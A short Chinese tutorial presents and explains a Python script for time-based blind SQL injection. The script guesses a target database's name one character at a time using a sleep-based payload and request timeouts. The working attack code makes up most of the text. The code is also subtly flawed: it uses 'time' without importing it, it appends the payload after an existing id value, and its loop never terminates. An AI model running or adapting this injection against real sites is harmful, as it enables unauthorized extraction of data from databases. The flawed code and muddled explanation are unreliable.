Python盲注腳本是指一種利用Python編寫的腳本程序,用于針對數據庫進行盲注(blind injection)攻擊的技術。
# 導入必要的模塊 import requests import string # 定義待猜測的字符集 all_chars = string.ascii_letters + string.digits # 所有的字母和數字 # 目標URL url = 'http://example.com/sql.php?id=1' # 已猜中的字段 known_field = '' # 循環猜解字段 while True: for c in all_chars: # 構造payload,用于發送請求 payload = "1' and if(substring(database(),%d,1)='%s',sleep(10),0)-- -" % (len(known_field)+1, c) try: # 發送攻擊請求 response = requests.get(url + payload, timeout=5) except: # 接收異常誤差 known_field += c print(known_field) # 輸出結果 time.sleep(2) # 防止被封殺,休眠2秒后再發送 break
接下來我們解釋一下這個腳本的具體實現:
首先,我們導入所需的模塊requests和string。
然后,定義帶猜測的字符集all_chars。
接著,我們定義目標URL和已猜中的字段known_field。
最后,在一個while循環中,我們使用for循環對all_chars中的字符進行逐個猜解。我們構造payload并發送攻擊請求,如果正常情況下無響應時間,則說明我們猜對了一位字符。于是我們將該字符添加到known_field中,休眠2秒后再繼續發送下一個請求。
這樣,我們就可以通過Python盲注腳本實現對目標數據庫的盲注攻擊,并獲取所需信息。